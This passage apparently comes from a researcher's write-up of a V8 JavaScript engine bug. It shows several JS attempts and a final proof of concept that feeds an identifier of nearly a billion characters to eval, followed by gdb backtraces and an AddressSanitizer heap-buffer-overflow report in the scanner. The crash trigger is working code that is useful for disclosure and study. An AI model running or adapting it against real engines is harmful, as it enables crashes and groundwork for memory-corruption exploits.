414#5  0x00007ffff6aea7be in (anonymous namespace)::(anonymous namespace)::Factory::AllocateRawWithImmortalMap (this=0x5555556113b0, size=66322448, pretenure=(anonymous namespace)::(anonymous namespace)::TENURED, map=..., alignment=(anonymous namespace)::(anonymous namespace)::kWordAligned) at ../../src/heap/factory.cc:128
415#6  0x00007ffff6af161c in (anonymous namespace)::(anonymous namespace)::Factory::AllocateRawOneByteInternalizedString (this=0x5555556113b0, length=66322432, hash_field=265289730) at ../../src/heap/factory.cc:835
416#7  0x00007ffff6af2099 in (anonymous namespace)::(anonymous namespace)::Factory::NewOneByteInternalizedString (this=0x5555556113b0, str=..., hash_field=265289730) at ../../src/heap/factory.cc:921
417#8  0x00007ffff6369e0f in (anonymous namespace)::(anonymous namespace)::AstRawStringInternalizationKey::AsHandle (this=0x7fffffffb0c0, isolate=0x5555556113b0) at ../../src/ast/ast-value-factory.cc:71
418#9  0x00007ffff6e6dd97 in (anonymous namespace)::(anonymous namespace)::StringTable::AddKeyNoResize (isolate=0x5555556113b0, key=0x7fffffffb0c0) at ../../src/objects.cc:17460
419#10 0x00007ffff6e6d5c0 in (anonymous namespace)::(anonymous namespace)::StringTable::LookupKey (isolate=0x5555556113b0, key=0x7fffffffb0c0) at ../../src/objects.cc:17452
420#11 0x00007ffff6361990 in (anonymous namespace)::(anonymous namespace)::AstRawString::Internalize (this=0x5555557b5838, isolate=0x5555556113b0) at ../../src/ast/ast-value-factory.cc:88
421#12 0x00007ffff6367bb5 in (anonymous namespace)::(anonymous namespace)::AstValueFactory::Internalize (this=0x5555556fbdd0, isolate=0x5555556113b0) at ../../src/ast/ast-value-factory.cc:274
422#13 0x00007ffff64d2f52 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::GenerateUnoptimizedCodeForToplevel (isolate=0x5555556113b0, parse_info=0x7fffffffbbb8, allocator=0x55555560feb0, is_compiled_scope=0x7fffffffc398) at ../../src/compiler.cc:505
423#14 0x00007ffff64cb964 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::CompileToplevel (parse_info=0x7fffffffbbb8, isolate=0x5555556113b0, is_compiled_scope=0x7fffffffc398) at ../../src/compiler.cc:934
424#15 0x00007ffff64cc37d in (anonymous namespace)::(anonymous namespace)::Compiler::GetFunctionFromEval (source=..., outer_info=..., context=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, restriction=(anonymous namespace)::(anonymous namespace)::NO_PARSE_RESTRICTION, parameters_end_pos=-1, eval_scope_position=0, eval_position=124) at ../../src/compiler.cc:1393
425#16 0x00007ffff7100172 in (anonymous namespace)::(anonymous namespace)::CompileGlobalEval((anonymous namespace)::(anonymous namespace)::Isolate *, (anonymous namespace)::(anonymous namespace)::Handle&lt;v8::internal::String&gt;, (anonymous namespace)::(anonymous namespace)::Handle&lt;v8::internal::SharedFunctionInfo&gt;, enum class (anonymous namespace)::(anonymous namespace)::LanguageMode, int, int) (isolate=0x5555556113b0, source=..., outer_info=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, eval_scope_position=0, eval_position=124) at ../../src/runtime/runtime-compiler.cc:322
426#17 0x00007ffff70ff2ef in (anonymous namespace)::(anonymous namespace)::__RT_impl_Runtime_ResolvePossiblyDirectEval (args=..., isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:353
427#18 0x00007ffff70feca2 in (anonymous namespace)::(anonymous namespace)::Runtime_ResolvePossiblyDirectEval (args_length=6, args_object=0x7fffffffc7d0, isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:331
428
429</pre></table></code></div></div><h3 id="different-ideas-to-allocate-big-string">Different ideas to allocate big string</h3><p>My next ideas was check correct size for max String in v8. ( I know that I could find it in code but I decided to do it JS style).</p><h3 id="1">1.</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
4302
4313
4324
4335
4346
435</pre><td class="rouge-code"><pre>var name_function = "a".repeat(262144);
436for(var i=0;i&lt;2146435073;i+=1048576){
437        name_function += 'x'.repeat(1048576)
438        eval("var "+name_function+" = new Function('return');");
439        console.log("Length is "+name_function.length.toString());
440}
441</pre></table></code></div></div><p>With “slightly” bigger first_value.</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
4422
4433
4444
4455
4466
4477
448</pre><td class="rouge-code"><pre>var first_value = 169869312;
449var name_function = "a".repeat(first_value);
450for(var i=first_value;i&lt;2146435073;i+=1048576){
451        name_function += 'x'.repeat(1048576)
452        eval("var "+name_function+" = new Function('return');");
453        console.log("Length is "+name_function.length.toString());
454}
455</pre></table></code></div></div><h3 id="2">2.</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
4562
4573
4584
4595
4606
4617
4628
4639
46410
465</pre><td class="rouge-code"><pre>final_size = 0xffffffff;
466cur_size = 0;
467var name_function = "";
468while (cur_size &lt; final_size){
469        name_function+="a";
470        cur_size+=1;
471}
472console.log("Length is "+name_function.length.toString());
473eval("var "+name_function+" = new Function('return');");
474
475</pre></table></code></div></div><p>Based on those failed attempts I decided to change the approach and add everything step by step. That idea lead to this poc and this one crashed it “good way” :)</p><h2 id="final-poc">Final poc:</h2><div lang="js" class="language-js highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
4762
4773
4784
4795
4806
4817
4828
4839
48410
485</pre><td class="rouge-code"><pre><span class="kd">var</span> <span class="nx">first_value</span> <span class="o">=</span> <span class="mi">159383552</span><span class="p">;</span>
486<span class="kd">var</span> <span class="nx">name_function</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span>
487<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span>
488<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span>
489<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span>
490<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span>
491<span class="nx">name_function</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="nx">first_value</span><span class="p">);</span>
492<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Length is </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="p">.</span><span class="nx">length</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
493<span class="nb">eval</span><span class="p">(</span><span class="dl">"</span><span class="s2">var </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="o">+</span><span class="dl">"</span><span class="s2"> = new Function('return');</span><span class="dl">"</span><span class="p">);</span>
494<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Length is </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="p">.</span><span class="nx">length</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
495</pre></table></code></div></div><h3 id="backtrace-debug">Backtrace debug:</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
4962
4973
4984
4995
5006
5017
5028
5039
50410
50511
50612
50713
50814
50915
51016
51117
51218
51319
51420
51521
51622
51723
51824
51925
52026
52127
52228
52329
52430
52531
52632
52733
52834
52935
53036
53137
53238
53339
53440
53541
53642
53743
53844
53945
540</pre><td class="rouge-code"><pre>#0  (anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400
541#1  0x00007ffff626f95b in (anonymous namespace)::Utils::ReportOOMFailure (isolate=0x5555556113b0, location=0x7ffff5f7e91f "NewArray", is_heap_oom=false) at ../../src/api.cc:484
542#2  0x00007ffff626f8c6 in (anonymous namespace)::(anonymous namespace)::V8::FatalProcessOutOfMemory (isolate=0x5555556113b0, location=0x7ffff5f7e91f "NewArray", is_heap_oom=false) at ../../src/api.cc:452
543#3  0x00007ffff626f4ef in (anonymous namespace)::(anonymous namespace)::FatalProcessOutOfMemory (isolate=0x0, location=0x7ffff5f7e91f "NewArray") at ../../src/api.cc:357
544#4  0x00007ffff62627a8 in (anonymous namespace)::(anonymous namespace)::NewArray&lt;char&gt; (size=18446744071562067968) at ../../src/allocation.h:45
545#5  0x00007ffff6d6cca4 in (anonymous namespace)::(anonymous namespace)::Vector&lt;unsigned char&gt;::New (length=-2147483648) at ../../src/vector.h:33
546#6  0x00007ffff6fffd85 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::ExpandBuffer (this=0x7fffffffb4b0) at ../../src/parsing/scanner.cc:74
547#7  0x00007ffff7006979 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddOneByteChar (this=0x7fffffffb4b0, one_byte_char=97 'a') at ../../src/parsing/scanner.h:485
548#8  0x00007ffff7006cd4 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddChar (this=0x7fffffffb4b0, code_unit=97 'a') at ../../src/parsing/scanner.h:425
549#9  0x00007ffff70055fb in (anonymous namespace)::(anonymous namespace)::Scanner::AddLiteralChar (this=0x7fffffffb480, c=97 'a') at ../../src/parsing/scanner.h:577
550#10 0x000
55007ffff7006c5d in operator() (this=0x7fffffffa490, c0=97) at ../../src/parsing/scanner-inl.h:273
551#11 0x00007ffff7006b99 in operator() (this=0x7fffffffa4b8, raw_c0_=97) at ../../src/parsing/scanner.h:77
552#12 0x00007ffff7006abe in (anonymous namespace)::(anonymous namespace)::find_if&lt;const unsigned short *, (lambda at ../../src/parsing/scanner.h:75:53)&gt; (__first=0x5555556c8e1a, __last=0x5555556c9212, __pred=...) at ../../buildtools/third_party/libc++/trunk/include/algorithm:878
553#13 (anonymous namespace)::(anonymous namespace)::Utf16CharacterStream::AdvanceUntil&lt;(lambda at ../../src/parsing/scanner-inl.h:259:20)&gt;(class {...}) (this=0x5555556c8de0, check=...) at ../../src/parsing/scanner.h:75
554#14 0x00007ffff7006a30 in (anonymous namespace)::(anonymous namespace)::Scanner::AdvanceUntil&lt;(lambda at ../../src/parsing/scanner-inl.h:259:20)&gt;(class {...}) (this=0x7fffffffb480, check=...) at ../../src/parsing/scanner.h:599
555#15 0x00007ffff7005093 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeywordInner (this=0x7fffffffb480) at ../../src/parsing/scanner-inl.h:259
556#16 0x00007ffff700685e in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeyword (this=0x7fffffffb480) at ../../src/parsing/scanner-inl.h:180
557#17 0x00007ffff7006454 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanSingleToken (this=0x7fffffffb480) at ../../src/parsing/scanner-inl.h:490
558#18 0x00007ffff7004668 in (anonymous namespace)::(anonymous namespace)::Scanner::Scan (this=0x7fffffffb480, next_desc=0x7fffffffb4a8) at ../../src/parsing/scanner-inl.h:515
559#19 0x00007ffff700074a in (anonymous namespace)::(anonymous namespace)::Scanner::Next (this=0x7fffffffb480) at ../../src/parsing/scanner.cc:230
560#20 0x00007ffff6fa0697 in (anonymous namespace)::(anonymous namespace)::ParserBase&lt;v8::internal::Parser&gt;::Consume (this=0x7fffffffb340, token=(anonymous namespace)::(anonymous namespace)::Token::VAR) at ../../src/parsing/parser-base.h:738
561#21 0x00007ffff6fbf193 in (anonymous namespace)::(anonymous namespace)::ParserBase&lt;v8::internal::Parser&gt;::ParseVariableDeclarations (this=0x7fffffffb340, var_context=(anonymous namespace)::(anonymous namespace)::ParserBase&lt;v8::internal::Parser&gt;::kStatementListItem, parsing_result=0x7fffffffab50) at ../../src/parsing/parser-base.h:3418
562#22 0x00007ffff6fa1044 in (anonymous namespace)::(anonymous namespace)::ParserBase&lt;v8::internal::Parser&gt;::ParseVariableStatement (this=0x7fffffffb340, var_context=(anonymous namespace)::(anonymous namespace)::ParserBase&lt;v8::internal::Parser&gt;::kStatementListItem, names=0x0) at ../../src/parsing/parser-base.h:4673
563#23 0x00007ffff6f9fb90 in (anonymous namespace)::(anonymous namespace)::ParserBase&lt;v8::internal::Parser&gt;::ParseStatementListItem (this=0x7fffffffb340) at ../../src/parsing/parser-base.h:4471
564#24 0x00007ffff6f9d65d in (anonymous namespace)::(anonymous namespace)::ParserBase&lt;v8::internal::Parser&gt;::ParseStatementList (this=0x7fffffffb340, body=0x7fffffffad98, end_token=(anonymous namespace)::(anonymous namespace)::Token::EOS) at ../../src/parsing/parser-base.h:4436
565#25 0x00007ffff6f899d5 in (anonymous namespace)::(anonymous namespace)::Parser::DoParseProgram (this=0x7fffffffb340, isolate=0x5555556113b0, info=0x7fffffffbbb8) at ../../src/parsing/parser.cc:578
566#26 0x00007ffff6f88d3d in (anonymous namespace)::(anonymous namespace)::Parser::ParseProgram (this=0x7fffffffb340, isolate=0x5555556113b0, info=0x7fffffffbbb8) at ../../src/parsing/parser.cc:497
567#27 0x00007ffff6fc8421 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::ParseProgram (info=0x7fffffffbbb8, isolate=0x5555556113b0) at ../../src/parsing/parsing.cc:39
568#28 0x00007ffff64cb754 in (anonymous namespace)::(anonymous namespace)::(anonymous namespace)::CompileToplevel (parse_info=0x7fffffffbbb8, isolate=0x5555556113b0, is_compiled_scope=0x7fffffffc398) at ../../src/compiler.cc:919
569#29 0x00007ffff64cc37d in (anonymous namespace)::(anonymous namespace)::Compiler::GetFunctionFromEval (source=..., outer_info=..., context=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, restriction=(anonymous namespace)::(anonymous namespace)::NO_PARSE_RESTRICTION, parameters_end_pos=-1, eval_scope_position=0, eval_position=740) at ../../src/compiler.cc:1393
570#30 0x00007ffff7100172 in (anonymous namespace)::(anonymous namespace)::CompileGlobalEval((anonymous namespace)::(anonymous namespace)::Isolate *, (anonymous namespace)::(anonymous namespace)::Handle&lt;v8::internal::String&gt;, (anonymous namespace)::(anonymous namespace)::Handle&lt;v8::internal::SharedFunctionInfo&gt;, enum class (anonymous namespace)::(anonymous namespace)::LanguageMode, int, int) (isolate=0x5555556113b0, source=..., outer_info=..., language_mode=(anonymous namespace)::(anonymous namespace)::LanguageMode::kSloppy, eval_scope_position=0, eval_position=740) at ../../src/runtime/runtime-compiler.cc:322
571#31 0x00007ffff70ff2ef in (anonymous namespace)::(anonymous namespace)::__RT_impl_Runtime_ResolvePossiblyDirectEval (args=..., isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:353
572#32 0x00007ffff70feca2 in (anonymous namespace)::(anonymous namespace)::Runtime_ResolvePossiblyDirectEval (args_length=6, args_object=0x7fffffffc7c8, isolate=0x5555556113b0) at ../../src/runtime/runtime-compiler.cc:331
573#33 0x00007ffff79e678d in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit () from /home/mtowalski/v8/v8/out/x64.debug/./libv8.so
574#34 0x00007ffff7b3bbac in Builtins_CallRuntimeHandler () from /home/mtowalski/v8/v8/out/x64.debug/./libv8.so
575#35 0x00007fffffffc768 in ?? ()
576#36 0x00007fffffffc768 in ?? ()
577#37 0x00007fffffffc810 in ?? ()
578#38 0x0000555555653210 in ?? ()
579#39 0x0000000000000018 in ?? ()
580#40 0x00007fffffffc810 in ?? ()
581#41 0x00007ffff76e3008 in Builtins_InterpreterEntryTrampoline () from /home/mtowalski/v8/v8/out/x64.debug/./libv8.so
582#42 0x000002e400000000 in ?? ()
583#43 0x0000000000000000 in ?? ()
584
585</pre></table></code></div></div><h3 id="asan-release-with-symbolize">Asan release with symbolize:</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
5862
5873
5884
5895
5906
5917
5928
5939
59410
59511
59612
59713
59814
59915
60016
60117
60218
60319
60420
60521
60622
60723
60824
60925
61026
61127
61228
61329
61430
61531
61632
61733
61834
61935
62036
62137
62238
62339
62440
62541
62642
62743
62844
62945
63046
63147
63248
63349
63450
63551
63652
63753
63854
63955
64056
64157
64258
64359
64460
64561
64662
64763
64864
64965
65066
65167
65268
65369
65470
65571
65672
65773
65874
65975
66076
66177
66278
66379
66480
66581
66682
66783
66884
66985
67086
67187
67288
67389
67490
67591
67692
67793
67894
67995
68096
68197
68298
68399
684100
685101
686102
687103
688104
689105
690106
691107
692108
693109
694110
695111
696112
697113
698114
699115
700116
701117
702118
703119
704120
705121
706122
707123
708124
709125
710126
711127
712</pre><td class="rouge-code"><pre>=================================================================
713==3074==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000001bc0 at pc 0x559891d264ae bp 0x7ffd115efbe0 sp 0x7ffd115ef390
714WRITE of size 536870913 at 0x606000001bc0 thread T0
715    #0 0x559891d264ad in __asan_memcpy _asan_rtl_:3
716    #1 0x7f470051633c in v8::internal::MemCopy(void*, void const*, unsigned long) /home/mtowalski/v8/v8/out/x64.release/../../src/memcopy.h:91:3
717    #2 0x7f470051633c in v8::internal::Scanner::LiteralBuffer::ExpandBuffer() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:75:0
718    #3 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddOneByteChar(unsigned char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:485:49
719    #4 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:425:0
720    #5 0x7f4700530763 in v8::internal::Scanner::AddLiteralChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:577:0
721    #6 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)::operator()(int) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:273:0
722    #7 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)::operator()(unsigned short) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:77:0
723    #8 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int) std::__Cr::find_if&lt;unsigned short const*, int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)) /home/mtowalski/v8/v8/out/x64.release/../../buildtools/third_party/libc++/trunk/include/algorithm:878:0
724    #9 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:75:0
725    #10 0x7f4700530763 in void v8::internal::Scanner::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:599:0
726    #11 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:259:0
727    #12 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeyword() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:180:0
728    #13 0x7f4700530763 in v8::internal::Scanner::ScanSingleToken() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:490:0
729    #14 0x7f4700530763 in v8::internal::Scanner::Scan(v8::internal::Scanner::TokenDesc*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner-inl.h:515:0
730    #15 0x7f4700530763 in v8::internal::Scanner::Next() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:230:0
731    #16 0x7f470048b428 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;::Consume(v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:738:36
732    #17 0x7f470048b428 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;::ParseVariableDeclarations(v8::internal::ParserBase&lt;v8::internal::Parser&gt;::VariableDeclarationContext, v8::internal::ParserBase&lt;v8::internal::Parser&gt;::DeclarationParsingResult*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:3418:0
733    #18 0x7f47003f7864 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;
733::ParseVariableStatement(v8::internal::ParserBase&lt;v8::internal::Parser&gt;::VariableDeclarationContext, v8::internal::ZoneList&lt;v8::internal::AstRawString const*&gt;*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4673:3
734    #19 0x7f47003d9be3 in v8::internal::ParserBase&lt;v8::internal::Parser&gt;::ParseStatementList(v8::internal::ScopedPtrList&lt;v8::internal::Statement&gt;*, v8::internal::Token::Value) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser-base.h:4436:23
735    #20 0x7f47003d9be3 in v8::internal::Parser::DoParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:578:0
736    #21 0x7f47003d734a in v8::internal::Parser::ParseProgram(v8::internal::Isolate*, v8::internal::ParseInfo*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parser.cc:497:29
737    #22 0x7f47004a20fc in v8::internal::parsing::ParseProgram(v8::internal::ParseInfo*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/parsing.cc:39:19
738    #23 0x7f46ff22ef73 in v8::internal::(anonymous namespace)::CompileToplevel(v8::internal::ParseInfo*, v8::internal::Isolate*, v8::internal::IsCompiledScope*) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:919:8
739    #24 0x7f46ff232517 in v8::internal::Compiler::GetFunctionFromEval(v8::internal::Handle&lt;v8::internal::String&gt;, v8::internal::Handle&lt;v8::internal::SharedFunctionInfo&gt;, v8::internal::Handle&lt;v8::internal::Context&gt;, v8::internal::LanguageMode, v8::internal::ParseRestriction, int, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/compiler.cc:1393:10
740    #25 0x7f4700706007 in v8::internal::CompileGlobalEval(v8::internal::Isolate*, v8::internal::Handle&lt;v8::internal::String&gt;, v8::internal::Handle&lt;v8::internal::SharedFunctionInfo&gt;, v8::internal::LanguageMode, int, int) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:322:3
741    #26 0x7f4700706007 in v8::internal::__RT_impl_Runtime_ResolvePossiblyDirectEval(v8::internal::Arguments, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:353:0
742    #27 0x7f4700706007 in v8::internal::Runtime_ResolvePossiblyDirectEval(int, unsigned long*, v8::internal::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/runtime/runtime-compiler.cc:331:0
743    #28 0x7f4701054bc5 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit ??:0:0
744    #29 0x7f47010956ce in Builtins_CallRuntimeHandler ??:0:0
745    #30 0x7f4700fb2bf6 in Builtins_InterpreterEntryTrampoline ??:0:0
746    #31 0x7f4700fb029f in Builtins_JSEntryTrampoline ??:0:0
747    #32 0x7f4700fb002c in Builtins_JSEntry ??:0:0
748    #33 0x7f46ffc09b90 in v8::internal::GeneratedCode&lt;unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**&gt;::Call(unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long**) /home/mtowalski/v8/v8/out/x64.release/../../src/simulator.h:124:12
749    #34 0x7f46ffc09b90 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&amp;) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:293:0
750    #35 0x7f46ffc08ba4 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle&lt;v8::internal::Object&gt;, v8::internal::Handle&lt;v8::internal::Object&gt;, int, v8::internal::Handle&lt;v8::internal::Object&gt;*) /home/mtowalski/v8/v8/out/x64.release/../../src/execution.cc:369:10
751    #36 0x7f46feeca7e3 in v8::Script::Run(v8::Local&lt;v8::Context&gt;) /home/mtowalski/v8/v8/out/x64.release/../../src/api.cc:2135:7
752    #37 0x559891d68230 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local&lt;v8::String&gt;, v8::Local&lt;v8::Value&gt;, v8::Shell::PrintResult, v8::Shell::ReportExceptions, v8::Shell::ProcessMessageQueue) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:533:28
753    #38 0x559891d84f4b in v8::SourceGroup::Execute(v8::Isolate*) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2466:10
754    #39 0x559891d8bfb3 in v8::Shell::RunMain(v8::Isolate*, int, char**, bool) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:2948:34
755    #40 0x559891d90ba6 in v8::Shell::Main(int, char**) /home/mtowalski/v8/v8/out/x64.release/../../src/d8.cc:3500:16
756    #41 0x7f46fc7082e0 in __libc_start_main ??:0:0
757
7580x606000001bc0 is located 0 bytes to the right of 64-byte region [0x606000001b80,0x606000001bc0)
759allocated by thread T0 here:
760    #0 0x559891d53c82 in operator new[](unsigned long, std::nothrow_t const&amp;) _asan_rtl_:3
761    #1 0x7f470051627a in unsigned char* v8::internal::NewArray&lt;unsigned char&gt;(unsigned long) /home/mtowalski/v8/v8/out/x64.release/../../src/allocation.h:41:15
762    #2 0x7f470051627a in v8::internal::Vector&lt;unsigned char&gt;::New(int) /home/mtowalski/v8/v8/out/x64.release/../../src/vector.h:33:0
763    #3 0x7f470051627a in v8::internal::Scanner::LiteralBuffer::ExpandBuffer() /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.cc:74:0
764    #4 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddOneByteChar(unsigned char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:485:49
765    #5 0x7f4700530763 in v8::internal::Scanner::LiteralBuffer::AddChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:425:0
766    #6 0x7f4700530763 in v8::internal::Scanner::AddLiteralChar(char) /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:577:0
767    #7 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)::operator()(int) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner
767-inl.h:273:0
768    #8 0x7f4700530763 in int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)::operator()(unsigned short) const /home/mtowalski/v8/v8/out/x64.release/../../src/parsing/scanner.h:77:0
769    #9 0x7f4700530763 in v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int) std::__Cr::find_if&lt;unsigned short const*, int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int), int v8::internal::Utf16CharacterStream::AdvanceUntil&lt;v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int)&gt;(v8::internal::Scanner::ScanIdentifierOrKeywordInner()::'lambda'(int))::'lambda'(unsigned short)) /home/mtowalski/v8/v8/out/x64.release/../../buildtools/third_party/libc++/trunk/include/algorithm:878:0
